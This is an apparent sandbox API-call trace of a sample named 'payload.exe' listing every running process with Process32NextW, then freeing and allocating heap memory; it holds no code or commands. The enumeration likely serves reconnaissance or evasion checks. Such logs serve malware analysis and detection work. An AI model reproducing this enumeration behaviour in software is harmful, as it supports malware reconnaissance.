[0036.723] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.724] lstrlenW (lpString="svchost.exe") returned 11 [0036.724] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.724] lstrlenW (lpString="svchost.exe") returned 11 [0036.724] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.725] lstrlenW (lpString="svchost.exe") returned 11 [0036.725] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.725] lstrlenW (lpString="svchost.exe") returned 11 [0036.725] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.726] lstrlenW (lpString="svchost.exe") returned 11 [0036.726] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.727] lstrlenW (lpString="svchost.exe") returned 11 [0036.727] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.727] lstrlenW (lpString="svchost.exe") returned 11 [0036.727] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.728] lstrlenW (lpString="svchost.exe") returned 11 [0036.728] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.728] lstrlenW (lpString="svchost.exe") returned 11 [0036.728] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0036.729] lstrlenW (lpString="spoolsv.exe") returned 11 [0036.729] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.729] lstrlenW (lpString="svchost.exe") returned 11 [0036.729] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.730] lstrlenW (lpString="svchost.exe") returned 11 [0036.730] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0036.731] lstrlenW (lpString="audiodg.exe") returned 11 [0036.731] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0036.731] lstrlenW (lpString="sihost.exe") returned 10 [0036.731] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.732] lstrlenW (lpString="svchost.exe") returned 11 [0036.732] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0036.732] lstrlenW (lpString="taskhostw.exe") returned 13 [0036.732] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0036.733] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0036.733] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0036.733] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0036.733] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0036.747] lstrlenW (lpString="explorer.exe") returned 12 [0036.747] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0036.748] lstrlenW (lpString="Memory Compression") returned 18 [0036.748] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0036.748] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0036.748] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0036.749] lstrlenW (lpString="SearchUI.exe") returned 12 [0036.749] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0036.749] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0036.750] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0036.750] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0036.750] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0036.751] lstrlenW (lpString="taskhostw.exe") returned 13 [0036.751] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0036.751] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0036.751] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0036.752] lstrlenW (lpString="msoia.exe") returned 9 [0036.752] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0036.753] lstrlenW (lpString="UsoClient.exe") returned 13 [0036.753] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0036.754] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0036.754] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0036.755] lstrlenW (lpString="msoia.exe") returned 9 [0036.755] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0036.755] lstrlenW (lpString="taskhostw.exe") returned 13 [0036.755] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0036.756] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0036.756] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0036.757] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0036.757] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0036.757] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0036.757] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0036.758] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0036.758] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0036.758] lstrlenW (lpString="arcobviously.exe") returned 16 [0036.758] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0036.759] lstrlenW (lpString="preston disciplines.exe") returned 23 [0036.759] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0036.759] lstrlenW (lpString="boss.exe") returned 8 [0036.760] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0036.760] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0036.760] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0036.761] lstrlenW (lpString="placing.exe") returned 11 [0036.761] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0036.761] lstrlenW (lpString="heroes.exe") returned 10 [0036.761] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0036.762] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0036.762] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0036.762] lstrlenW (lpString="requirement moments.exe") returned 23 [0036.762] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0036.763] lstrlenW (lpString="sugar.exe") returned 9 [0036.763] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0036.764] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0036.764] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0036.764] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0036.764] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0036.765] lstrlenW (lpString="genealogy.exe") returned 13 [0036.765] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0036.766] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0036.766] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0036.767] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0036.767] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0036.767] lstrlenW (lpString="expenditure.exe") returned 15 [0036.767] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0036.768] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0036.768] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0036.769] lstrlenW (lpString="upgrading.exe") returned 13 [0036.769] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0036.770] lstrlenW (lpString="conservative.exe") returned 16 [0036.770] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0036.771] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0036.771] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0036.772] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0036.772] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0036.772] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0036.772] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0036.773] lstrlenW (lpString="gods violations duke.exe") returned 24 [0036.773] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.773] lstrlenW (lpString="dllhost.exe") returned 11 [0036.774] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0036.774] lstrlenW (lpString="conhost.exe") returned 11 [0036.774] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0036.775] lstrlenW (lpString="conhost.exe") returned 11 [0036.775] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.775] lstrlenW (lpString="dllhost.exe") returned 11 [0036.775] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.776] lstrlenW (lpString="dllhost.exe") returned 11 [0036.776] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0036.777] lstrlenW (lpString="payload.exe") returned 11 [0036.777] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 0 [0036.782] CloseHandle (hObject=0x240) returned 1 [0036.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a9fa0 | out: hHeap=0x690000) returned 1 [0036.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa420 | out: hHeap=0x690000) returned 1 [0036.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a5810 | out: hHeap=0x690000) returned 1 [0036.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a55d0 | out: hHeap=0x690000) returned 1 [0036.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a5fe8 | out: hHeap=0x690000) returned 1 [0036.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d5348 | out: hHeap=0x690000) returned 1 [0036.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a5510 | out: hHeap=0x690000) returned 1 [0036.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a5590 | out: hHeap=0x690000) returned 1 [0036.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6cec78 | out: hHeap=0x690000) returned 1 [0036.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce9d0 | out: hHeap=0x690000) returned 1 [0036.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a54f0 | out: hHeap=0x690000) returned 1 [0036.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce7c8 | out: hHeap=0x690000) returned 1 [0036.783] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x6d7700 [0036.783] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x6e7708 [0036.783] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d52e8 [0036.783] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d52e8, Size=0x20) returned 0x6ce958 [0036.784] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ce958, Size=0x40) returned 0x6a9fa0 [0036.784] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5258 [0036.784] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5258, Size=0x20) returned 0x6ce908 [0036.784] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5210 [0036.784] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5210, Size=0x20) returned 0x6ce7f0 [0036.784] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5168 [0036.784] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5168, Size=0x20) returned 0x6cea70 [0036.784] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6cea70, Size=0x40) returned 0x6aa348 [0036.788] 